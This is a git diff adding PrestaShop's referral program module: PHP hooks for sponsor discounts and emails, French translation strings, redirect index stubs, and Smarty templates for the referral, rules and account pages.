        '; + } + + /** + * Hook called when a order is confimed + * display a message to customer about sponsor discount + */ + public function hookOrderConfirmation($params) + { + if ($params['objOrder'] AND !Validate::isLoadedObject($params['objOrder'])) + return die($this->l('Incorrect Order object.')); + + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + $customer = new Customer((int)$params['objOrder']->id_customer); + $stats = $customer->getStats(); + $nbOrdersCustomer = (int)$stats['nb_orders'] + 1; // hack to count current order + $referralprogram = new ReferralProgramModule(ReferralProgramModule::isSponsorised((int)$customer->id, true)); + if (!Validate::isLoadedObject($referralprogram)) + return false; + $sponsor = new Customer((int)$referralprogram->id_sponsor); + if ((int)$nbOrdersCustomer == (int)$this->_configuration['REFERRAL_ORDER_QUANTITY']) + { + $cartRule = new CartRule((int)$referralprogram->id_cart_rule_sponsor); + if (!Validate::isLoadedObject($cartRule)) + return false; + $this->smarty->assign(array('discount' => ReferralProgram::displayDiscount($cartRule->reduction_percent ? $cartRule->reduction_percent : $cartRule->reduction_amount, $cartRule->reduction_percent ? 1 : 2, new Currency((int)$params['objOrder']->id_currency)), 'sponsor_firstname' => $sponsor->firstname, 'sponsor_lastname' => $sponsor->lastname)); + return $this->display(__FILE__, 'order-confirmation.tpl'); + } + return false; + } + + /** + * Hook called when order status changed + * register a discount for sponsor and send him an e-mail + */ + public function hookUpdateOrderStatus($params) + { + if (!Validate::isLoadedObject($params['newOrderStatus'])) + die ($this->l('Missing parameters')); + $orderState = $params['newOrderStatus']; + $order = new Order((int)($params['id_order'])); + if ($order AND !Validate::isLoadedObject($order)) + die($this->l('Incorrect Order object.')); + + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + $customer = new Customer((int)$order->id_customer); + $stats = $customer->getStats(); + $nbOrdersCustomer = (int)$stats['nb_orders'] + 1; // hack to count current order + $referralprogram = new ReferralProgramModule(ReferralProgramModule::isSponsorised((int)($customer->id), true)); + if (!Validate::isLoadedObject($referralprogram)) + return false; + $sponsor = new Customer((int)$referralprogram->id_sponsor); + if ((int)$orderState->logable AND $nbOrdersCustomer >= (int)$this->_configuration['REFERRAL_ORDER_QUANTITY'] AND $referralprogram->registerDiscountForSponsor((int)$order->id_currency)) + { + $cartRule = new CartRule((int)$referralprogram->id_cart_rule_sponsor); + $currency = new Currency((int)$order->id_currency); + $discount_display = ReferralProgram::displayDiscount($cartRule->reduction_percent ? $cartRule->reduction_percent : $cartRule->reduction_amount, $cartRule->reduction_percent ? 1 : 2, $currency); + $data = array('{sponsored_firstname}' => $customer->firstname, '{sponsored_lastname}' => $customer->lastname, '{discount_display}' => $discount_display, '{discount_name}' => $cartRule->code); + Mail::Send((int)$order->id_lang, 'referralprogram-congratulations', Mail::l('Congratulations!', (int)$order->id_lang), $data, $sponsor->email, $sponsor->firstname.' '.$sponsor->lastname, strval(Configuration::get('PS_SHOP_EMAIL')), strval(Configuration::get('PS_SHOP_NAME')), NULL, NULL, dirname(__FILE__).'/mails/'); + return true; + } + return false; + } +} diff --git a/modules/referralprogram/translations/fr.php b/modules/referralprogram/translations/fr.php new file mode 100755 index 0000000..b331bf2 --- /dev/null +++ b/modules/referralprogram/translations/fr.php @@ -0,0 +1,109 @@ +referralprogram_40604a195d001353d697b0fd26f5d8fe'] = 'Tous les informations relatives aux parrains et filleuls'; +$_MODULE['<{referralprogram}prestashop>referralprogram_83090230d3c11aa76851030eba008a71'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_46a3a666d8823b972af8018a5242a3ac'] = 'Intègre un programme de parrainage à votre boutique'; +$_MODULE['<{referralprogram}prestashop>referralprogram_d59ce2e96c0c2362a0a4269e0d874e32'] = 'Vous devez spécifier un montant pour les bons de réduction de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_284033830e0eaf55340844305bf34fdd'] = 'Récompense parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3c5db6c207f700f4f209b43bed966e96'] = 'Suppression de ce fichier impossible :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6c58031e7824c3cd6febc2f2107b0652'] = 'Mise a jour effectuée.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_167579019fe14b4efed431a82985d9ad'] = 'Le nombre de commande est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ceb0ce9b627fb9a962543f3271da29b1'] = 'La valeur de réduction est invalide'; +$_MODULE['<{referralprogram}prestashop>referralprogram_9611f10b809aa2daf5c0eb88153901d4'] = 'Valeur de la réduction pour la devise %d est vide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ee328e3466040a3e52db5d764b7b7e0c'] = 'Valeur de la réduction pour la devise %d est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_addae886b20a06e2954461706c90cd7d'] = 'Le type de réduction est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ac3357de2dec8d74d89dd378962ec621'] = 'Le nombre d\'amis est incorrect.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_18d0d79eb088abb4357e3666eec35660'] = 'pourcentage de remise est exigée / non valide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3d31dd445991f35b1ee6491eec7ac71c'] = 'Impossible d\'écrire dans le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_96191c1f54bb6311624210333ef797eb'] = 'Impossible de fermer le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_21cc1fccae3b04bb8cd2719cc5269e1e'] = 'Impossible de mettre à jour le fichier XML. Veuillez vérifier les droits d\'écriture sur le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_5be920293db3e38c81330fd0798336b1'] = 'Champ HTML invalide, le Javascript y est interdit.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{referralprogram}prestashop>referralprogram_7ca3288a38b048b0df25394ccc22ad46'] = 'Nombre minimum de commandes qu\'un filleul doit passer afin de recevoir son bon de réduction :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_624f983eb0713e10faf35ff3889e8d68'] = 'Nombre de filleuls dans le formulaire d\'invitation pour parrainage (compte client, section parrainage) :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_9ad4f790c8bb9be21a2fa388c7730353'] = 'Type de bon :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_46da7ad7d01e209241016d308f9fafce'] = 'Bon de réduction avec un pourcentage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_97839379a0f447599405341b852e2e24'] = 'Bon de réduction avec un montant (par devise)'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3d5a011fdba2979f8d0ffd30b9f5c6ba'] = 'Pourcentage :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{referralprogram}prestashop>referralprogram_edf7f0a17b8a8f1732f12856fcbc8a6b'] = 'Montant du bon de réduction'; +$_MODULE['<{referralprogram}prestashop>referralprogram_8465d83b5c1b569299af284c14d957bb'] = 'Description du bon :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les paramètres'; +$_MODULE['<{referralprogram}prestashop>referralprogram_562ad64cf21ac2da656134355115133d'] = 'Vous devez spécifier un texte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6b719c160f9b08dad4760bcc4b52ed48'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_c5afb9c76a7880978cba32872d01f068'] = 'Mise à jour du texte'; +$_MODULE['<{referralprogram}prestashop>referralprogram_94c69408d25102ba7ddcf3533b56c407'] = 'L\'objet Client est incorrecte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_7790d51a3d62c85aae65464dee12ee8b'] = 'Parrain du client :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_f964f762284ede747ed9f6428a5469b8'] = 'Ce client n\'a aucun parrain.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_53d0d7aba39ee971f7f179e6e1092708'] = 'Filleuls :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_58dc82d3e2e17ced0225064a9b496ee9'] = 'Filleul :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{referralprogram}prestashop>referralprogram_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Mail'; +$_MODULE['<{referralprogram}prestashop>referralprogram_22ffd0379431f3b615eb8292f6c31d12'] = 'Date d\'enregistrement'; +$_MODULE['<{referralprogram}prestashop>referralprogram_325c8bbd07033a39d25b5c4457f79861'] = 'Clients parrainés par ce filleul'; +$_MODULE['<{referralprogram}prestashop>referralprogram_fc6e0920b914b164802d44220e6163f3'] = 'Nombre de commandes effectuées'; +$_MODULE['<{referralprogram}prestashop>referralprogram_970ad4e4787cc75cd63dbf8d5c757513'] = 'Compte client créé'; +$_MODULE['<{referralprogram}prestashop>referralprogram_0b820748c24b934a6acdb881169eb81f'] = '%1$s %2$s n\'a parrainé aucun filleul pour le moment.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_a82e0d057f443115e807bd6ca595fc8c'] = 'L\'objet Commande est incorrecte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_8b80d4b6307990874b832cc15a92e5a3'] = 'Certain paramètres sont manquants.'; +$_MODULE['<{referralprogram}prestashop>program_d3d2e617335f08df83599665eef8a418'] = 'Fermer'; +$_MODULE['<{referralprogram}prestashop>program_7a81aa9275331bb0f5e6adb5e8650a03'] = 'ou Échap.'; +$_MODULE['<{referralprogram}prestashop>program_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{referralprogram}prestashop>program_6540b502e953f4c05abeb8f234cd50bf'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_dbc65cd60abde51277c2881ce915a225'] = 'Vous devez accepter les conditions du programme !'; +$_MODULE['<{referralprogram}prestashop>program_83fc792f687bc45d75ac35c84c721a26'] = 'Une ou plusieurs adresses e-mail sont incorrectes !'; +$_MODULE['<{referralprogram}prestashop>program_1019072b9e450c8652590cda2db45e49'] = 'Un ou plusieurs noms ou prénoms sont incorrects !'; +$_MODULE['<{referralprogram}prestashop>program_ff2d2e45b90b4426c3bb14bd56b95a2d'] = 'Quelqu\'un avec cette adresse e-mail est déjà enregistré !'; +$_MODULE['<{referralprogram}prestashop>program_3f8a4c7f93945fea0d951fa402ee4272'] = 'Veuillez cocher au moins une case'; +$_MODULE['<{referralprogram}prestashop>program_dcc99d8715486f570db3ec5ee469a828'] = 'Impossible d\'ajouter des amis à la base de données'; +$_MODULE['<{referralprogram}prestashop>program_f6cb78f0afcf7c3a06048a7a5855d6a1'] = 'Des e-mails ont été envoyés à vos amis !'; +$_MODULE['<{referralprogram}prestashop>program_79cd362fc64832faa0a2079f1142aa12'] = 'Un e-mail a été envoyé à votre amis !'; +$_MODULE['<{referralprogram}prestashop>program_2b90ca4a7b1c83e0a3bb65899725cd65'] = 'Des e-mails de rappel ont été envoyés à vos amis !'; +$_MODULE['<{referralprogram}prestashop>program_819e52b3c6ca4db131dcfea19188a0c3'] = 'Un e-mail de rappel a été envoyé à votre ami !'; +$_MODULE['<{referralprogram}prestashop>program_46ee2fe8845962d24bf5178a26e109f3'] = 'Parrainer mes amis'; +$_MODULE['<{referralprogram}prestashop>program_c56567bc42584de1a7ac430039b3a87e'] = 'Amis en attente'; +$_MODULE['<{referralprogram}prestashop>program_58c7f2542ab2e2c3e4e39e851ea0f225'] = 'Mes amis parrainés'; +$_MODULE['<{referralprogram}prestashop>program_07b0f879b9bf9ec028d99df3880922f9'] = 'Obtenir un bon de réduction de %d pour vous et vos amis en recommandant notre boutique.'; +$_MODULE['<{referralprogram}prestashop>program_8d3ae82bfa996855cdf841dd9e15a7e3'] = 'C\'est rapide et facile. Il suffit de remplir les noms, prénoms et adresses e-mails de vos amis dans les champs ci-dessous.'; +$_MODULE['<{referralprogram}prestashop>program_c92182a305ac874bae5e54d75bbd9327'] = 'Quand l\'un d\'entre eux passera au moins %d commandes.'; +$_MODULE['<{referralprogram}prestashop>program_6e8dedb6b5dcad23e24d07c10aff29d8'] = 'Quand l\'un d\'entre eux passera au moins %d commande.'; +$_MODULE['<{referralprogram}prestashop>program_3aa40545dad78313e27017aa28c6cb7d'] = 'Il/Elle recevra un bon de réduction de %1$d et vous de même %2$d.'; +$_MODULE['<{referralprogram}prestashop>program_8d3f5eff9c40ee315d452392bed5309b'] = 'Nom'; +$_MODULE['<{referralprogram}prestashop>program_20db0bfeecd8fe60533206a2b5e9891a'] = 'Prénom'; +$_MODULE['<{referralprogram}prestashop>program_1e884e3078d9978e216a027ecd57fb34'] = 'E-mail'; +$_MODULE['<{referralprogram}prestashop>program_9386de858384e7f790a28beecdb986dd'] = 'Important : les e-mails de vos amis ne seront jamais utilisés à des fins autres que celles de notre programme.'; +$_MODULE['<{referralprogram}prestashop>program_605eef3cad421619ce034ab48415190f'] = 'J\'ai lu les conditions d\'utilisation et j\'y adhère sans réserves.'; +$_MODULE['<{referralprogram}prestashop>program_6b719c160f9b08dad4760bcc4b52ed48'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_868ca5fe643791c23b47c75fb833c9b8'] = 'Lisez les conditions.'; +$_MODULE['<{referralprogram}prestashop>program_31fde7b05ac8952dacf4af8a704074ec'] = 'Visualisez'; +$_MODULE['<{referralprogram}prestashop>program_8e8dc296c6bf3876468aa028974bfebe'] = 'E-mail d\'invitation'; +$_MODULE['<{referralprogram}prestashop>program_a86073a0c3b0bebf11bd807caf8e505a'] = 'l\'e-mail par défaut'; +$_MODULE['<{referralprogram}prestashop>program_7532696b81dfc0b94a37e876677152c5'] = 'qui sera envoyé à vos amis.'; +$_MODULE['<{referralprogram}prestashop>program_ad3d06d03d94223fa652babc913de686'] = 'Valider'; +$_MODULE['<{referralprogram}prestashop>program_59352cd5314a67c0fb10c964831920f3'] = 'Pour parrainer vos amis, vous devez finaliser au moins'; +$_MODULE['<{referralprogram}prestashop>program_12c500ed0b7879105fb46af0f246be87'] = 'commandes'; +$_MODULE['<{referralprogram}prestashop>program_70a17ffa722a3985b86d30b034ad06d7'] = 'commande'; +$_MODULE['<{referralprogram}prestashop>program_ec7342814444c667ab93181b30b28e38'] = 'Ces amis parrainés n\'ont pas encore effectué d\'achat, mais vous pouvez les relancer ! Pour ce faire, vous devez cocher les cases des amis que vous voulez relancer, puis cliquer sur le bouton \"Relancer mes amis\"'; +$_MODULE['<{referralprogram}prestashop>program_3e717a04ff77cd5fa068d8ad9d3facc8'] = 'Dernière invitation'; +$_MODULE['<{referralprogram}prestashop>program_9c9d4ed270f02c72124702edb192ff19'] = 'Relancer mes amis'; +$_MODULE['<{referralprogram}prestashop>program_8b9f390369560635a2ba5ba271d953df'] = 'Vous n\'avez pas encore parrainé d\'ami.'; +$_MODULE['<{referralprogram}prestashop>program_193f3d8bbaceba40499cab1a3545e9e8'] = 'Ici sont affichés les amis qui ont accepté votre invitation :'; +$_MODULE['<{referralprogram}prestashop>program_3c648ba41cfb45f13b083a9cbbacdfdf'] = 'Date d\'inscription'; +$_MODULE['<{referralprogram}prestashop>program_8d4e5c2bc4c3cf67d2b59b263a707cb6'] = 'Aucun ami n\'a encore accepté votre invitation.'; +$_MODULE['<{referralprogram}prestashop>program_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{referralprogram}prestashop>program_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{referralprogram}prestashop>rules_01705c0177ebf5fbcbf4e882bc454405'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>authentication_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>authentication_8fdb2298a0db461ac64e71192a562ca1'] = 'Adresse mail de votre parrain'; +$_MODULE['<{referralprogram}prestashop>my-account_6b31baf25848e7a6563ecc3946626c80'] = 'Parrainage'; +$_MODULE['<{referralprogram}prestashop>order-confirmation_f2ef523efa8d23f8afc29e195592fc58'] = 'Grâce à votre commande, votre parrain %1$s %2$s gagnera un bon de réduction d\'une valeur de %3$d quand cette commande sera confirmée.'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_b76b807810393d9fce7f154d82aef1d1'] = 'Vous avez gagné un bon de réduction d\'une valeur de %s grâce à votre parrain !'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_9a5b602be8d9b2d4b8c3f22911fba01d'] = 'Saisissez le nom du bon %s pour profiter de la réduction sur cette commande.'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_106527986549f3ec8da1ae5a7abde467'] = 'Voir votre programme de parrainage.'; diff --git a/modules/referralprogram/translations/index.php b/modules/referralprogram/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/views/index.php b/modules/referralprogram/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/views/templates/front/email.tpl b/modules/referralprogram/views/templates/front/email.tpl new file mode 100755 index 0000000..61357ce --- /dev/null +++ b/modules/referralprogram/views/templates/front/email.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{$content} diff --git a/modules/referralprogram/views/templates/front/index.php b/modules/referralprogram/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/views/templates/front/program.tpl b/modules/referralprogram/views/templates/front/program.tpl new file mode 100755 index 0000000..d47819b --- /dev/null +++ b/modules/referralprogram/views/templates/front/program.tpl @@ -0,0 +1,222 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{capture name=path}{l s='My account' mod='referralprogram'}{$navigationPipe}{l s='Referral Program' mod='referralprogram'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Referral program' mod='referralprogram'}

        + +{if $error} +

        + {if $error == 'conditions not valided'} + {l s='You need to agree to the conditions of the referral program!' mod='referralprogram'} + {elseif $error == 'email invalid'} + {l s='At least one e-mail address is invalid!' mod='referralprogram'} + {elseif $error == 'name invalid'} + {l s='At least one first name or last name is invalid!' mod='referralprogram'} + {elseif $error == 'email exists'} + {l s='Someone with this e-mail address has already been sponsored!' mod='referralprogram'}: {foreach from=$mails_exists item=mail}{$mail} {/foreach} + {elseif $error == 'no revive checked'} + {l s='Please mark at least one checkbox' mod='referralprogram'} + {elseif $error == 'cannot add friends'} + {l s='Cannot add friends to database' mod='referralprogram'} + {/if} +

        +{/if} + +{if $invitation_sent} +

        + {if $nbInvitation > 1} + {l s='E-mails have been sent to your friends!' mod='referralprogram'} + {else} + {l s='An e-mail has been sent to your friend!' mod='referralprogram'} + {/if} +

        +{/if} + +{if $revive_sent} +

        + {if $nbRevive > 1} + {l s='Reminder e-mails have been sent to your friends!' mod='referralprogram'} + {else} + {l s='A reminder e-mail has been sent to your friend!' mod='referralprogram'} + {/if} +

        +{/if} + + +
        + +
        +

        + {l s='Get a discount of %d for you and your friends by recommending this Website.' sprintf=$discount mod='referralprogram'} +

        + {if $canSendInvitations} +

        + {l s='It\'s quick and it\'s easy. Just fill in the first name, last name, and e-mail address(es) of your friend(s) in the fields below.' mod='referralprogram'} + {if $orderQuantity > 1} + {l s='When one of them makes at least %d orders' sprintf=$orderQuantity mod='referralprogram'} + {else} + {l s='When one of them makes at least %d order' sprintf=$orderQuantity mod='referralprogram'} + {/if}, + {l s='he or she will receive a %1$d voucher and you will receive your own voucher worth %2$d.' sprintf=[$discount,$discount] mod='referralprogram'} +

        +
        + + + + + + + + + + + {section name=friends start=0 loop=$nbFriends step=1} + + + + + + + {/section} + +
         {l s='Last name' mod='referralprogram'}{l s='First name' mod='referralprogram'}{l s='E-mail' mod='referralprogram'}
        {$smarty.section.friends.iteration}
        +

        + {l s='Important: Your friends\' e-mail addresses will only be used in the referral program. They will never be used for other purposes.' mod='referralprogram'} +

        +

        + + + {l s='Read conditions.' mod='referralprogram'} +

        +

        + {l s='Preview' mod='referralprogram'} + {assign var="file" value="{$lang_iso}/referralprogram-invitation.html"} + {l s='the default e-mail' mod='referralprogram'} {l s='that will be sent to your friend(s).' mod='referralprogram'} +

        +

        + +

        +
        + {else} +

        + {l s='To become a sponsor, you need to have completed at least' mod='referralprogram'} {$orderQuantity} {if $orderQuantity > 1}{l s='orders' mod='referralprogram'}{else}{l s='order' mod='referralprogram'}{/if}. +

        + {/if} +
        + +
        + {if $pendingFriends AND $pendingFriends|@count > 0} +

        + {l s='These friends have not yet placed an order on this Website since you sponsored them, but you can try again! To do so, mark the checkboxes of the friend(s) you want to remind, then click on the button "Remind my friend(s)"' mod='referralprogram'} +

        +
        + + + + + + + + + + + + {foreach from=$pendingFriends item=pendingFriend name=myLoop} + + + + + + + + {/foreach} + +
         {l s='Last name' mod='referralprogram'}{l s='First name' mod='referralprogram'}{l s='E-mail' mod='referralprogram'}{l s='Last invitation' mod='referralprogram'}
        + + + + {$pendingFriend.firstname|substr:0:22}{$pendingFriend.email}{dateFormat date=$pendingFriend.date_upd full=1}
        +

        + +

        +
        + {else} +

        {l s='You have not sponsored any friends.' mod='referralprogram'}

        + {/if} +
        + +
        + {if $subscribeFriends AND $subscribeFriends|@count > 0} +

        + {l s='Here are sponsored friends who have accepted your invitation:' mod='referralprogram'} +

        + + + + + + + + + + + + {foreach from=$subscribeFriends item=subscribeFriend name=myLoop} + + + + + + + + {/foreach} + +
         {l s='Last name' mod='referralprogram'}{l s='First name' mod='referralprogram'}{l s='E-mail' mod='referralprogram'}{l s='Inscription date' mod='referralprogram'}
        {$smarty.foreach.myLoop.iteration}.{$subscribeFriend.lastname|substr:0:22}{$subscribeFriend.firstname|substr:0:22}{$subscribeFriend.email}{dateFormat date=$subscribeFriend.date_upd full=1}
        + {else} +

        + {l s='No sponsored friends have accepted your invitation yet.' mod='referralprogram'} +

        + {/if} +
        +
        + + diff --git a/modules/referralprogram/views/templates/front/rules.tpl b/modules/referralprogram/views/templates/front/rules.tpl new file mode 100755 index 0000000..7ebc965 --- /dev/null +++ b/modules/referralprogram/views/templates/front/rules.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Referral program rules' mod='referralprogram'}

        + +{if isset($xml)} +
        + {if isset($xml->body->$paragraph)}
        {$xml->body->$paragraph|replace:"\'":"'"|replace:'\"':'"'}
        {/if} +
        +{/if} diff --git a/modules/referralprogram/views/templates/hook/authentication.tpl b/modules/referralprogram/views/templates/hook/authentication.tpl new file mode 100755 index 0000000..52a613c --- /dev/null +++ b/modules/referralprogram/views/templates/hook/authentication.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + \ No newline at end of file diff --git a/modules/referralprogram/views/templates/hook/index.php b/modules/referralprogram/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/views/templates/hook/my-account.tpl b/modules/referralprogram/views/templates/hook/my-account.tpl new file mode 100755 index 0000000..1e515c1 --- /dev/null +++ b/modules/referralprogram/views/templates/hook/my-account.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
      • + + {l s='Referral program' mod='referralprogram'} + {l s='Referral program' mod='referralprogram'} + +
